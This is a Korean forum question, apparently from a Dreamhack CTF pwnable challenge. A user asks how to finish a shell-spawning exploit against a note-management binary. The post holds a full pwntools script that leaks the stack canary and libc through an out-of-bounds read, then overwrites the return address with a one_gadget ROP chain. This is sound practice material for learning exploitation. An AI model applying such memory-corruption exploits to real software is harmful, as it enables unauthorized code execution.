완료됨
마지막 익스플로잇 관련 질문
안녕하세요. 현재 취약점을 발견한 뒤로 익스플로잇을 계속 시도 중입니다.
.
.
.
근데, 뒤에 ROP 가젯 넣을 공간이 24바이트 밖에 없고, 이 공간만으로는 system("/bin/sh")를 실행시키기엔 부족한 공간이라서 계속 원가젯을 넣어보면서 시도 중인데요, 조건이 조건인지라 원가젯 조건에 부합하는 상황을 찾기가 쉽지 않습니다.
저는
- read note를 이용해서 libc leak
- update note에서 out of bound 취약점이 발생한다는 점을 이용해서 RAO 가능, 리턴 주소 덮어써서 공격
- 쉘 획득
이 순서로 익스플로잇 하려고 아래와 같이 코드를 짰습니다.
궁금한 점은,
- 이 공격 방법이 맞는지
- 맞다면, 여기서 원가젯으로 계속 해야 하는지, 아니면 system("/bin/sh")를 일으킬 다른 방법이 있는지
2-1. 아니라면, 또 다른 취약점을 이용해야 하는 것인지
이렇게 질문을 드리고 싶습니다. 코드도 같이 첨부해서 질문드립니다! 감사합니다.
from pwn import *
binary = './prob'
libc_path = './libc.so.6'
ld_path = './ld-linux-x86-64.so.2'
l = ELF('./libc.so.6')
p = process([ld_path, binary], env={'LD_PRELOAD' : './libc.so.6'}, stdin=PTY, stdout=PTY)
#p = remote('host3.dreamhack.games', 12068)
def create(size, content):
p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', content)
def read(idx):
p.sendlineafter('> ', str(2))
p.sendlineafter(': ', str(idx))
def update(idx, size, content):
p.sendlineafter('> ', str(3))
p.sendlineafter(': ', str(idx))
p.sendlineafter(': ', str(size))
p.sendlineafter(': ', content)
def delete(idx):
p.sendlineafter('> ', str(4))
p.sendlineafter(': ', str(idx))
p.sendlineafter('> ', str(1))
p.sendlineafter(': ', str(1000))
read(0)
p.recvn(0x1e0)
canary = u64(p.recvn(8))
p.recvn(8)
#libc + canary leak
libc = u64(p.recvn(8)) - 0x2a1ca
one_gadget = libc + 0x583d5
binsh = libc + 0x1cb42f
pop_rdi = libc + 0x10f75b
pop_rax = libc + 0x66b9a
ret = libc + 0x2882f
system = libc + l.symbols['system']
print(hex(canary))
print(hex(libc))
delete(-1)
pause()
# exploit
update(-2, 40, b'\x00'*8 + p64(canary) + p64(pop_rax) + p64(0) + p64(one_gadget))
p.interactive()
#pwnable
작성자 정보